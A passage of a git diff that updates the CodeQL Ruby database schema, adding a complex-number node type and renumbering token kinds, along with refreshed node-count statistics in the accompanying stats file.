 ruby_call_receiver(
   unique int ruby_call: @ruby_call ref,
-  unique int receiver: @ruby_call_receiver_type ref
+  unique int receiver: @ruby_underscore_primary ref
 );
 
 ruby_call_def(
-  unique int id: @ruby_call,
-  int method: @ruby_call_method_type ref
+  unique int id: @ruby_call
 );
 
 ruby_case_value(
@@ -394,6 +412,13 @@ ruby_class_def(
   int name: @ruby_class_name_type ref
 );
 
+@ruby_complex_child_type = @ruby_rational | @ruby_token_float | @ruby_token_integer
+
+ruby_complex_def(
+  unique int id: @ruby_complex,
+  int child: @ruby_complex_child_type ref
+);
+
 ruby_conditional_def(
   unique int id: @ruby_conditional,
   int alternative: @ruby_underscore_arg ref,
@@ -846,11 +871,13 @@ case @ruby_operator_assignment.operator of
 ;
 
 
+@ruby_operator_assignment_right_type = @ruby_rescue_modifier | @ruby_underscore_expression
+
 ruby_operator_assignment_def(
   unique int id: @ruby_operator_assignment,
   int left: @ruby_underscore_lhs ref,
   int operator: int ref,
-  int right: @ruby_underscore_expression ref
+  int right: @ruby_operator_assignment_right_type ref
 );
 
 ruby_optional_parameter_def(
@@ -1030,8 +1057,6 @@ ruby_right_assignment_list_def(
   unique int id: @ruby_right_assignment_list
 );
 
-@ruby_scope_resolution_name_type = @ruby_token_constant | @ruby_token_identifier
-
 @ruby_scope_resolution_scope_type = @ruby_underscore_pattern_constant | @ruby_underscore_primary
 
 ruby_scope_resolution_scope(
@@ -1041,7 +1066,7 @@ ruby_scope_resolution_scope(
 
 ruby_scope_resolution_def(
   unique int id: @ruby_scope_resolution,
-  int name: @ruby_scope_resolution_name_type ref
+  int name: @ruby_token_constant ref
 );
 
 ruby_setter_def(
@@ -1289,38 +1314,37 @@ case @ruby_token.kind of
 | 1 = @ruby_token_character
 | 2 = @ruby_token_class_variable
 | 3 = @ruby_token_comment
-| 4 = @ruby_token_complex
-| 5 = @ruby_token_constant
-| 6 = @ruby_token_empty_statement
-| 7 = @ruby_token_encoding
-| 8 = @ruby_token_escape_sequence
-| 9 = @ruby_token_false
-| 10 = @ruby_token_file
-| 11 = @ruby_token_float
-| 12 = @ruby_token_forward_argument
-| 13 = @ruby_token_forward_parameter
-| 14 = @ruby_token_global_variable
-| 15 = @ruby_token_hash_key_symbol
-| 16 = @ruby_token_hash_splat_nil
-| 17 = @ruby_token_heredoc_beginning
-| 18 = @ruby_token_heredoc_content
-| 19 = @ruby_token_heredoc_end
-| 20 = @ruby_token_identifier
-| 21 = @ruby_token_instance_variable
-| 22 = @ruby_token_integer
-| 23 = @ruby_token_line
-| 24 = @ruby_token_nil
-| 25 = @ruby_token_operator
-| 26 = @ruby_token_self
-| 27 = @ruby_token_simple_symbol
-| 28 = @ruby_token_string_content
-| 29 = @ruby_token_super
-| 30 = @ruby_token_true
-| 31 = @ruby_token_uninterpreted
+| 4 = @ruby_token_constant
+| 5 = @ruby_token_empty_statement
+| 6 = @ruby_token_encoding
+| 7 = @ruby_token_escape_sequence
+| 8 = @ruby_token_false
+| 9 = @ruby_token_file
+| 10 = @ruby_token_float
+| 11 = @ruby_token_forward_argument
+| 12 = @ruby_token_forward_parameter
+| 13 = @ruby_token_global_variable
+| 14 = @ruby_token_hash_key_symbol
+| 15 = @ruby_token_hash_splat_nil
+| 16 = @ruby_token_heredoc_beginning
+| 17 = @ruby_token_heredoc_content
+| 18 = @ruby_token_heredoc_end
+| 19 = @ruby_token_identifier
+| 20 = @ruby_token_instance_variable
+| 21 = @ruby_token_integer
+| 22 = @ruby_token_line
+| 23 = @ruby_token_nil
+| 24 = @ruby_token_operator
+| 25 = @ruby_token_self
+| 26 = @ruby_token_simple_symbol
+| 27 = @ruby_token_string_content
+| 28 = @ruby_token_super
+| 29 = @ruby_token_true
+| 30 = @ruby_token_uninterpreted
 ;
 
 
-@ruby_ast_node = @ruby_alias | @ruby_alternative_pattern | @ruby_argument_list | @ruby_array | @ruby_array_pattern | @ruby_as_pattern | @ruby_assignment | @ruby_bare_string | @ruby_bare_symbol | @ruby_begin | @ruby_begin_block | @ruby_binary | @ruby_block | @ruby_block_argument | @ruby_block_parameter | @ruby_block_parameters | @ruby_break | @ruby_call | @ruby_case__ | @ruby_case_match | @ruby_chained_string | @ruby_class | @ruby_conditional | @ruby_delimited_symbol | @ruby_destructured_left_assignment | @ruby_destructured_parameter | @ruby_do | @ruby_do_block | @ruby_element_reference | @ruby_else | @ruby_elsif | @ruby_end_block | @ruby_ensure | @ruby_exception_variable | @ruby_exceptions | @ruby_expression_reference_pattern | @ruby_find_pattern | @ruby_for | @ruby_hash | @ruby_hash_pattern | @ruby_hash_splat_argument | @ruby_hash_splat_parameter | @ruby_heredoc_body | @ruby_if | @ruby_if_guard | @ruby_if_modifier | @ruby_in | @ruby_in_clause | @ruby_interpolation | @ruby_keyword_parameter | @ruby_keyword_pattern | @ruby_lambda | @ruby_lambda_parameters | @ruby_left_assignment_list | @ruby_method | @ruby_method_parameters | @ruby_module | @ruby_next | @ruby_operator_assignment | @ruby_optional_parameter | @ruby_pair | @ruby_parenthesized_pattern | @ruby_parenthesized_statements | @ruby_pattern | @ruby_program | @ruby_range | @ruby_rational | @ruby_redo | @ruby_regex | @ruby_rescue | @ruby_rescue_modifier | @ruby_rest_assignment | @ruby_retry | @ruby_return | @ruby_right_assignment_list | @ruby_scope_resolution | @ruby_setter | @ruby_singleton_class | @ruby_singleton_method | @ruby_splat_argument | @ruby_splat_parameter | @ruby_string__ | @ruby_string_array | @ruby_subshell | @ruby_superclass | @ruby_symbol_array | @ruby_then | @ruby_token | @ruby_unary | @ruby_undef | @ruby_unless | @ruby_unless_guard | @ruby_unless_modifier | @ruby_until | @ruby_until_modifier | @ruby_variable_reference_pattern | @ruby_when | @ruby_while | @ruby_while_modifier | @ruby_yield
+@ruby_ast_node = @ruby_alias | @ruby_alternative_pattern | @ruby_argument_list | @ruby_array | @ruby_array_pattern | @ruby_as_pattern | @ruby_assignment | @ruby_bare_string | @ruby_bare_symbol | @ruby_begin | @ruby_begin_block | @ruby_binary | @ruby_block | @ruby_block_argument | @ruby_block_parameter | @ruby_block_parameters | @ruby_break | @ruby_call | @ruby_case__ | @ruby_case_match | @ruby_chained_string | @ruby_class | @ruby_complex | @ruby_conditional | @ruby_delimited_symbol | @ruby_destructured_left_assignment | @ruby_destructured_parameter | @ruby_do | @ruby_do_block | @ruby_element_reference | @ruby_else | @ruby_elsif | @ruby_end_block | @ruby_ensure | @ruby_exception_variable | @ruby_exceptions | @ruby_expression_reference_pattern | @ruby_find_pattern | @ruby_for | @ruby_hash | @ruby_hash_pattern | @ruby_hash_splat_argument | @ruby_hash_splat_parameter | @ruby_heredoc_body | @ruby_if | @ruby_if_guard | @ruby_if_modifier | @ruby_in | @ruby_in_clause | @ruby_interpolation | @ruby_keyword_parameter | @ruby_keyword_pattern | @ruby_lambda | @ruby_lambda_parameters | @ruby_left_assignment_list | @ruby_method | @ruby_method_parameters | @ruby_module | @ruby_next | @ruby_operator_assignment | @ruby_optional_parameter | @ruby_pair | @ruby_parenthesized_pattern | @ruby_parenthesized_statements | @ruby_pattern | @ruby_program | @ruby_range | @ruby_rational | @ruby_redo | @ruby_regex | @ruby_rescue | @ruby_rescue_modifier | @ruby_rest_assignment | @ruby_retry | @ruby_return | @ruby_right_assignment_list | @ruby_scope_resolution | @ruby_setter | @ruby_singleton_class | @ruby_singleton_method | @ruby_splat_argument | @ruby_splat_parameter | @ruby_string__ | @ruby_string_array | @ruby_subshell | @ruby_superclass | @ruby_symbol_array | @ruby_then | @ruby_token | @ruby_unary | @ruby_undef | @ruby_unless | @ruby_unless_guard | @ruby_unless_modifier | @ruby_until | @ruby_until_modifier | @ruby_variable_reference_pattern | @ruby_when | @ruby_while | @ruby_while_modifier | @ruby_yield
 
 @ruby_ast_node_parent = @file | @ruby_ast_node
 
diff --git a/ruby/ql/lib/ruby.dbscheme.stats b/ruby/ql/lib/ruby.dbscheme.stats
index 4ee465bdb28..782ae4db56b 100644
--- a/ruby/ql/lib/ruby.dbscheme.stats
+++ b/ruby/ql/lib/ruby.dbscheme.stats
@@ -5,7 +5,7 @@
         </e>
         <e>
             <k>@diagnostic_error</k>
-            <v>129</v>
+            <v>155</v>
         </e>
         <e>
             <k>@diagnostic_info</k>
@@ -21,7 +21,7 @@
         </e>
         <e>
             <k>@erb_directive</k>
-            <v>1449</v>
+            <v>1414</v>
         </e>
         <e>
             <k>@erb_graphql_directive</k>
@@ -29,19 +29,19 @@
         </e>
         <e>
             <k>@erb_output_directive</k>
-            <v>3895</v>
+            <v>3806</v>
         </e>
         <e>
             <k>@erb_reserved_word</k>
-            <v>10689</v>
+            <v>10441</v>
         </e>
         <e>
             <k>@erb_template</k>
-            <v>1562</v>
+            <v>1563</v>
         </e>
         <e>
             <k>@erb_token_code</k>
-            <v>5344</v>
+            <v>5220</v>
         </e>
         <e>
             <k>@erb_token_comment</k>
@@ -49,23 +49,23 @@
         </e>
         <e>
             <k>@erb_token_content</k>
-            <v>3816</v>
+            <v>3761</v>
         </e>
         <e>
             <k>@file</k>
-            <v>16948</v>
+            <v>17168</v>
         </e>
         <e>
             <k>@folder</k>
-            <v>4774</v>
+            <v>4792</v>
         </e>
         <e>
             <k>@location_default</k>
-            <v>8504708</v>
+            <v>8508604</v>
         </e>
-        <e>
+    <e>
             <k>@ruby_alias</k>
-            <v>1256</v>
+            <v>1244</v>
         </e>
         <e>
             <k>@ruby_alternative_pattern</k>
@@ -73,11 +73,11 @@
         </e>
         <e>
             <k>@ruby_argument_list</k>
-            <v>663118</v>
+            <v>664517</v>
         </e>
         <e>
             <k>@ruby_array</k>
-            <v>245466</v>
+            <v>245561</v>
         </e>
         <e>
             <k>@ruby_array_pattern</k>
@@ -89,19 +89,19 @@
         </e>
         <e>
             <k>@ruby_assignment</k>
-            <v>130604</v>
+            <v>130246</v>
         </e>
         <e>
             <k>@ruby_bare_string</k>
-            <v>11474</v>
+            <v>11487</v>
         </e>
         <e>
             <k>@ruby_bare_symbol</k>
-            <v>2137</v>
+            <v>2106</v>
         </e>
         <e>
             <k>@ruby_begin</k>
-            <v>2533</v>
+            <v>2523</v>
         </e>
         <e>
             <k>@ruby_begin_block</k>
@@ -113,19 +113,19 @@
         </e>
         <e>
             <k>@ruby_binary_ampersandampersand</k>
-            <v>8822</v>
+            <v>8700</v>
         </e>
         <e>
             <k>@ruby_binary_and</k>
-            <v>1355</v>
+            <v>1348</v>
         </e>
         <e>
             <k>@ruby_binary_bangequal</k>
-            <v>1585</v>
+            <v>1586</v>
         </e>
         <e>
             <k>@ruby_binary_bangtilde</k>
-            <v>177</v>
+            <v>178</v>
         </e>
         <e>
             <k>@ruby_binary_caret</k>
@@ -133,7 +133,7 @@
         </e>
         <e>
             <k>@ruby_binary_equalequal</k>
-            <v>31084</v>
+            <v>31159</v>
         </e>
         <e>
             <k>@ruby_binary_equalequalequal</k>
@@ -141,15 +141,15 @@
         </e>
         <e>
             <k>@ruby_binary_equaltilde</k>
-            <v>1822</v>
+            <v>1820</v>
         </e>
         <e>
             <k>@ruby_binary_langle</k>
-            <v>1343</v>
+            <v>1334</v>
         </e>
         <e>
             <k>@ruby_binary_langleequal</k>
-            <v>369</v>
+            <v>368</v>
         </e>
         <e>
             <k>@ruby_binary_langleequalrangle</k>
@@ -157,43 +157,43 @@
         </e>
         <e>
             <k>@ruby_binary_langlelangle</k>
-            <v>10484</v>
+            <v>10368</v>
         </e>
         <e>
             <k>@ruby_binary_minus</k>
-            <v>2883</v>
+            <v>2381</v>
         </e>
         <e>
             <k>@ruby_binary_or</k>
-            <v>673</v>
+            <v>665</v>
         </e>
         <e>
             <k>@ruby_binary_percent</k>
-            <v>1014</v>
+            <v>1009</v>
         </e>
         <e>
             <k>@ruby_binary_pipe</k>
-            <v>981</v>
+            <v>968</v>
         </e>
         <e>
             <k>@ruby_binary_pipepipe</k>
-            <v>8088</v>
+            <v>8001</v>
         </e>
         <e>
             <k>@ruby_binary_plus</k>
-            <v>6102</v>
+            <v>6116</v>
         </e>
         <e>
             <k>@ruby_binary_rangle</k>
-            <v>2431</v>
+            <v>2400</v>
         </e>
         <e>
             <k>@ruby_binary_rangleequal</k>
-            <v>556</v>
+            <v>558</v>
         </e>
         <e>
             <k>@ruby_binary_ranglerangle</k>
-            <v>230</v>
+            <v>231</v>
         </e>
         <e>
             <k>@ruby_binary_slash</k>
@@ -201,19 +201,19 @@
         </e>
         <e>
             <k>@ruby_binary_star</k>
-            <v>3119</v>
+            <v>3286</v>
         </e>
         <e>
             <k>@ruby_binary_starstar</k>
-            <v>1291</v>
+            <v>1316</v>
         </e>
         <e>
             <k>@ruby_block</k>
-            <v>96904</v>
+            <v>97359</v>
         </e>
         <e>
             <k>@ruby_block_argument</k>
-            <v>6048</v>
+            <v>6050</v>
         </e>
         <e>
             <k>@ruby_block_parameter</k>
@@ -221,15 +221,15 @@
         </e>
         <e>
             <k>@ruby_block_parameters</k>
-            <v>23501</v>
+            <v>23336</v>
         </e>
         <e>
             <k>@ruby_break</k>
-            <v>3343</v>
+            <v>3338</v>
         </e>
         <e>
             <k>@ruby_call</k>
-            <v>961220</v>
+            <v>965401</v>
         </e>
         <e>
             <k>@ruby_case__</k>
@@ -237,23 +237,27 @@
         </e>
         <e>
             <k>@ruby_case_match</k>
-            <v>2</v>
+            <v>0</v>
         </e>
         <e>
             <k>@ruby_chained_string</k>
-            <v>894</v>
+            <v>885</v>
         </e>
         <e>
             <k>@ruby_class</k>
-            <v>16778</v>
+            <v>16841</v>
+        </e>
+        <e>
+            <k>@ruby_complex</k>
+            <v>53</v>
         </e>
         <e>
             <k>@ruby_conditional</k>
-            <v>3556</v>
+            <v>3464</v>
         </e>
         <e>
             <k>@ruby_delimited_symbol</k>
-            <v>1216</v>
+            <v>1257</v>
         </e>
         <e>
             <k>@ruby_destructured_left_assignment</k>
@@ -265,23 +269,23 @@
         </e>
         <e>
             <k>@ruby_do</k>
-            <v>1621</v>
+            <v>1610</v>
         </e>
         <e>
             <k>@ruby_do_block</k>
-            <v>136559</v>
+            <v>137435</v>
         </e>
         <e>
             <k>@ruby_element_reference</k>
-            <v>82281</v>
+            <v>82234</v>
         </e>
         <e>
             <k>@ruby_else</k>
-            <v>6946</v>
+            <v>6933</v>
         </e>
         <e>
             <k>@ruby_elsif</k>
-            <v>1606</v>
+            <v>1595</v>
         </e>
         <e>
             <k>@ruby_end_block</k>
@@ -289,15 +293,15 @@
         </e>
         <e>
             <k>@ruby_ensure</k>
-            <v>3786</v>
+            <v>3718</v>
         </e>
         <e>
             <k>@ruby_exception_variable</k>
-            <v>1021</v>
+            <v>1001</v>
         </e>
         <e>
             <k>@ruby_exceptions</k>
-            <v>1641</v>
+            <v>1639</v>
         </e>
         <e>
             <k>@ruby_expression_reference_pattern</k>
@@ -309,11 +313,11 @@
         </e>
         <e>
             <k>@ruby_for</k>
-            <v>163</v>
+            <v>162</v>
         </e>
         <e>
             <k>@ruby_hash</k>
-            <v>39344</v>
+            <v>39413</v>
         </e>
         <e>
             <k>@ruby_hash_pattern</k>
@@ -321,19 +325,19 @@
         </e>
         <e>
             <k>@ruby_hash_splat_argument</k>
-            <v>1813</v>
+            <v>1856</v>
         </e>
         <e>
             <k>@ruby_hash_splat_parameter</k>
-            <v>1351</v>
+            <v>1355</v>
         </e>
         <e>
             <k>@ruby_heredoc_body</k>
-            <v>5577</v>
+            <v>5575</v>
         </e>
         <e>
             <k>@ruby_if</k>
-            <v>18504</v>
+            <v>18392</v>
         </e>
         <e>
             <k>@ruby_if_guard</k>
@@ -341,23 +345,23 @@
         </e>
         <e>
             <k>@ruby_if_modifier</k>
-            <v>13763</v>
+            <v>13620</v>
         </e>
         <e>
             <k>@ruby_in</k>
-            <v>163</v>
+            <v>162</v>
         </e>
         <e>
             <k>@ruby_in_clause</k>
-            <v>2</v>
+            <v>0</v>
         </e>
         <e>
             <k>@ruby_interpolation</k>
-            <v>38383</v>
+            <v>38208</v>
         </e>
         <e>
             <k>@ruby_keyword_parameter</k>
-            <v>3777</v>
+            <v>3794</v>
         </e>
         <e>
             <k>@ruby_keyword_pattern</k>
@@ -365,39 +369,39 @@
         </e>
         <e>
             <k>@ruby_lambda</k>
-            <v>7499</v>
+            <v>7472</v>
         </e>
         <e>
             <k>@ruby_lambda_parameters</k>
-            <v>1659</v>
+            <v>1664</v>
         </e>
         <e>
             <k>@ruby_left_assignment_list</k>
-            <v>2887</v>
+            <v>2873</v>
         </e>
         <e>
             <k>@ruby_method</k>
-            <v>98643</v>
+            <v>98356</v>
         </e>
         <e>
             <k>@ruby_method_parameters</k>
-            <v>28992</v>
+            <v>28861</v>
         </e>
         <e>
             <k>@ruby_module</k>
-            <v>21140</v>
+            <v>21557</v>
         </e>
         <e>
             <k>@ruby_next</k>
-            <v>2070</v>
+            <v>2005</v>
         </e>
         <e>
             <k>@ruby_operator_assignment_ampersandampersandequal</k>
-            <v>90</v>
+            <v>88</v>
         </e>
         <e>
             <k>@ruby_operator_assignment_ampersandequal</k>
-            <v>15</v>
+            <v>16</v>
         </e>
         <e>
             <k>@ruby_operator_assignment_caretequal</k>
@@ -409,7 +413,7 @@
         </e>
         <e>
             <k>@ruby_operator_assignment_minusequal</k>
-            <v>294</v>
+            <v>292</v>
         </e>
         <e>
             <k>@ruby_operator_assignment_percentequal</k>
@@ -421,11 +425,11 @@
         </e>
         <e>
             <k>@ruby_operator_assignment_pipepipeequal</k>
-            <v>4638</v>
+            <v>4611</v>
         </e>
         <e>
             <k>@ruby_operator_assignment_plusequal</k>
-            <v>1752</v>
+            <v>1759</v>
         </e>
         <e>
             <k>@ruby_operator_assignment_ranglerangleequal</k>
@@ -445,11 +449,11 @@
         </e>
         <e>
             <k>@ruby_optional_parameter</k>
-            <v>6527</v>
+            <v>6435</v>
         </e>
         <e>
             <k>@ruby_pair</k>
-            <v>235172</v>
+            <v>235158</v>
         </e>
         <e>
             <k>@ruby_parenthesized_pattern</k>
@@ -457,23 +461,23 @@
         </e>
         <e>
             <k>@ruby_parenthesized_statements</k>
-            <v>10153</v>
+            <v>10247</v>
         </e>
         <e>
             <k>@ruby_pattern</k>
-            <v>3878</v>
+            <v>3895</v>
         </e>
         <e>
             <k>@ruby_program</k>
-            <v>16935</v>
+            <v>17142</v>
         </e>
         <e>
             <k>@ruby_range_dotdot</k>
-            <v>2750</v>
+            <v>2831</v>
         </e>
         <e>
             <k>@ruby_range_dotdotdot</k>
-            <v>1544</v>
+            <v>1356</v>
         </e>
         <e>
             <k>@ruby_rational</k>
@@ -485,19 +489,19 @@
         </e>
         <e>
             <k>@ruby_regex</k>
-            <v>12828</v>
+            <v>12854</v>
         </e>
         <e>
             <k>@ruby_rescue</k>
-            <v>2085</v>
+            <v>2061</v>
         </e>
         <e>
             <k>@ruby_rescue_modifier</k>
-            <v>551</v>
+            <v>525</v>
         </e>
         <e>
             <k>@ruby_reserved_word</k>
-            <v>3653831</v>
+            <v>3667249</v>
         </e>
         <e>
             <k>@ruby_rest_assignment</k>
@@ -509,15 +513,15 @@
         </e>
         <e>
             <k>@ruby_return</k>
-            <v>8521</v>
+            <v>8495</v>
         </e>
         <e>
             <k>@ruby_right_assignment_list</k>
-            <v>1376</v>
+            <v>1288</v>
         </e>
         <e>
             <k>@ruby_scope_resolution</k>
-            <v>80201</v>
+            <v>80009</v>
         </e>
         <e>
             <k>@ruby_setter</k>
@@ -525,63 +529,59 @@
         </e>
         <e>
             <k>@ruby_singleton_class</k>
-            <v>626</v>
+            <v>620</v>
         </e>
         <e>
             <k>@ruby_singleton_method</k>
-            <v>6563</v>
+            <v>6539</v>
         </e>
         <e>
             <k>@ruby_splat_argument</k>
-            <v>3179</v>
+            <v>3046</v>
         </e>
         <e>
             <k>@ruby_splat_parameter</k>
-            <v>2936</v>
+            <v>2905</v>
         </e>
         <e>
             <k>@ruby_string__</k>
-            <v>474637</v>
+            <v>473533</v>
         </e>
         <e>
             <k>@ruby_string_array</k>
-            <v>3868</v>
+            <v>3840</v>
         </e>
         <e>
             <k>@ruby_subshell</k>
-            <v>409</v>
+            <v>403</v>
         </e>
         <e>
             <k>@ruby_superclass</k>
-            <v>13262</v>
+            <v>13318</v>
         </e>
         <e>
             <k>@ruby_symbol_array</k>
-            <v>457</v>
+            <v>463</v>
         </e>
         <e>
             <k>@ruby_then</k>
-            <v>24592</v>
+            <v>24329</v>
         </e>
         <e>
             <k>@ruby_token_character</k>
-            <v>416</v>
+            <v>437</v>
         </e>
         <e>
             <k>@ruby_token_class_variable</k>
-            <v>776</v>
+            <v>857</v>
         </e>
         <e>
             <k>@ruby_token_comment</k>
-            <v>179885</v>
-        </e>
-        <e>
-            <k>@ruby_token_complex</k>
-            <v>36</v>
+            <v>180978</v>
         </e>
         <e>
             <k>@ruby_token_constant</k>
-            <v>284770</v>
+            <v>283898</v>
         </e>
         <e>
             <k>@ruby_token_empty_statement</k>
@@ -593,11 +593,11 @@
         </e>
         <e>
             <k>@ruby_token_escape_sequence</k>
-            <v>75435</v>
+            <v>75715</v>
         </e>
         <e>
             <k>@ruby_token_false</k>
-            <v>16937</v>
+            <v>16909</v>
         </e>
         <e>
             <k>@ruby_token_file</k>
@@ -605,23 +605,23 @@
         </e>
         <e>
             <k>@ruby_token_float</k>
-            <v>7814</v>
+            <v>7830</v>
         </e>
         <e>
             <k>@ruby_token_forward_argument</k>
-            <v>66</v>
+            <v>72</v>
         </e>
         <e>
             <k>@ruby_token_forward_parameter</k>
-            <v>75</v>
+            <v>94</v>
         </e>
         <e>
             <k>@ruby_token_global_variable</k>
-            <v>7078</v>
+            <v>7057</v>
         </e>
         <e>
             <k>@ruby_token_hash_key_symbol</k>
-            <v>228521</v>
+            <v>228509</v>
         </e>
         <e>
             <k>@ruby_token_hash_splat_nil</k>
@@ -629,27 +629,27 @@
         </e>
         <e>
             <k>@ruby_token_heredoc_beginning</k>
-            <v>5603</v>
+            <v>5600</v>
         </e>
         <e>
             <k>@ruby_token_heredoc_content</k>
-            <v>12423</v>
+            <v>12542</v>
         </e>
         <e>
             <k>@ruby_token_heredoc_end</k>
-            <v>5577</v>
+            <v>5575</v>
         </e>
         <e>
             <k>@ruby_token_identifier</k>
-            <v>1482144</v>
+            <v>1483080</v>
         </e>
         <e>
             <k>@ruby_token_instance_variable</k>
-            <v>81594</v>
+            <v>81049</v>
         </e>
         <e>
             <k>@ruby_token_integer</k>
-            <v>298439</v>
+            <v>298658</v>
         </e>
         <e>
             <k>@ruby_token_line</k>
@@ -657,31 +657,31 @@
         </e>
         <e>
             <k>@ruby_token_nil</k>
-            <v>17874</v>
+            <v>17920</v>
         </e>
         <e>
             <k>@ruby_token_operator</k>
-            <v>782</v>
+            <v>781</v>
         </e>
         <e>
             <k>@ruby_token_self</k>
-            <v>13136</v>
+            <v>12958</v>
         </e>
         <e>
             <k>@ruby_token_simple_symbol</k>
-            <v>249753</v>
+            <v>249119</v>
         </e>
         <e>
             <k>@ruby_token_string_content</k>
-            <v>488998</v>
+            <v>488016</v>
         </e>
         <e>
             <k>@ruby_token_super</k>
-            <v>5009</v>
+            <v>5058</v>
         </e>
         <e>
             <k>@ruby_token_true</k>
-            <v>23064</v>
+            <v>23298</v>
         </e>
         <e>
             <k>@ruby_token_uninterpreted</k>
@@ -689,23 +689,23 @@
         </e>
         <e>
             <k>@ruby_unary_bang</k>
-            <v>5738</v>
+            <v>5788</v>
         </e>
         <e>
             <k>@ruby_unary_definedquestion</k>
-            <v>1311</v>
+            <v>1312</v>
         </e>
         <e>
             <k>@ruby_unary_minus</k>
-            <v>8570</v>
+            <v>9122</v>
         </e>
         <e>
             <k>@ruby_unary_not</k>
-            <v>237</v>
+            <v>236</v>
         </e>
         <e>
             <k>@ruby_unary_plus</k>
-            <v>1389</v>
+            <v>1386</v>
         </e>
         <e>
             <k>@ruby_unary_tilde</k>
@@ -717,7 +717,7 @@
         </e>
         <e>
             <k>@ruby_unless</k>
-            <v>2568</v>
+            <v>2578</v>
         </e>
         <e>
             <k>@ruby_unless_guard</k>
@@ -725,15 +725,15 @@
         </e>
         <e>
             <k>@ruby_unless_modifier</k>
-            <v>4341</v>
+            <v>4207</v>
         </e>
         <e>
             <k>@ruby_until</k>
-            <v>114</v>
+            <v>113</v>
         </e>
         <e>
             <k>@ruby_until_modifier</k>
-            <v>218</v>
+            <v>206</v>
         </e>
         <e>
             <k>@ruby_variable_reference_pattern</k>
@@ -741,32 +741,32 @@
         </e>
         <e>
             <k>@ruby_when</k>
-            <v>3229</v>
+            <v>3239</v>
         </e>
         <e>
             <k>@ruby_while</k>
-            <v>1344</v>
+            <v>1335</v>
         </e>
         <e>
             <k>@ruby_while_modifier</k>
-            <v>184</v>
+            <v>179</v>
         </e>
         <e>
             <k>@ruby_yield</k>
-            <v>2406</v>
+            <v>2385</v>
         </e>
         </typesizes>
   <stats><relation>
             <name>containerparent</name>
-            <cardinality>21696</cardinality>
+            <cardinality>21934</cardinality>
             <columnsizes>
                 <e>
                     <k>parent</k>
-                    <v>4774</v>
+                    <v>4792</v>
                 </e>
                 <e>
                     <k>child</k>
-                    <v>21696</v>
+                    <v>21934</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -780,37 +780,37 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2134</v>
+                                    <v>2142</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>905</v>
+                                    <v>909</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>439</v>
+                                    <v>441</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>297</v>
+                                    <v>298</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>7</b>
-                                    <v>375</v>
+                                    <v>376</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>13</b>
-                                    <v>388</v>
+                                    <v>389</v>
                                 </b>
                                 <b>
                                     <a>13</a>
-                                    <b>120</b>
-                                    <v>232</v>
+                                    <b>124</b>
+                                    <v>233</v>
                                 </b>
                             </bs>
                         </hist>
@@ -826,7 +826,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>21696</v>
+                                    <v>21934</v>
                                 </b>
                             </bs>
                         </hist>
@@ -836,11 +836,11 @@
         </relation>
         <relation>
             <name>diagnostics</name>
-            <cardinality>129</cardinality>
+            <cardinality>155</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>129</v>
+                    <v>155</v>
                 </e>
                 <e>
                     <k>severity</k>
@@ -856,11 +856,11 @@
                 </e>
                 <e>
                     <k>full_error_message</k>
-                    <v>103</v>
+                    <v>129</v>
                 </e>
                 <e>
                     <k>location</k>
-                    <v>129</v>
+                    <v>155</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -874,7 +874,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>129</v>
+                                    <v>155</v>
                                 </b>
                             </bs>
                         </hist>
@@ -890,7 +890,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>129</v>
+                                    <v>155</v>
                                 </b>
                             </bs>
                         </hist>
@@ -906,7 +906,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>129</v>
+                                    <v>155</v>
                                 </b>
                             </bs>
                         </hist>
@@ -922,7 +922,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>129</v>
+                                    <v>155</v>
                                 </b>
                             </bs>
                         </hist>
@@ -938,7 +938,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>129</v>
+                                    <v>155</v>
                                 </b>
                             </bs>
                         </hist>
@@ -952,8 +952,8 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>10</a>
-                                    <b>11</b>
+                                    <a>12</a>
+                                    <b>13</b>
                                     <v>12</v>
                                 </b>
                             </bs>
@@ -1000,8 +1000,8 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>8</a>
-                                    <b>9</b>
+                                    <a>10</a>
+                                    <b>11</b>
                                     <v>12</v>
                                 </b>
                             </bs>
@@ -1016,8 +1016,8 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>10</a>
-                                    <b>11</b>
+                                    <a>12</a>
+                                    <b>13</b>
                                     <v>12</v>
                                 </b>
                             </bs>
@@ -1032,8 +1032,8 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>10</a>
-                                    <b>11</b>
+                                    <a>12</a>
+                                    <b>13</b>
                                     <v>12</v>
                                 </b>
                             </bs>
@@ -1080,8 +1080,8 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>8</a>
-                                    <b>9</b>
+                                    <a>10</a>
+                                    <b>11</b>
                                     <v>12</v>
                                 </b>
                             </bs>
@@ -1096,8 +1096,8 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>10</a>
-                                    <b>11</b>
+                                    <a>12</a>
+                                    <b>13</b>
                                     <v>12</v>
                                 </b>
                             </bs>
@@ -1107,6 +1107,59 @@
                 <dep>
                     <src>error_message</src>
                     <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>12</v>
+                                </b>
+                                <b>
+                                    <a>11</a>
+                                    <b>12</b>
+                                    <v>12</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>error_message</src>
+                    <trg>severity</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
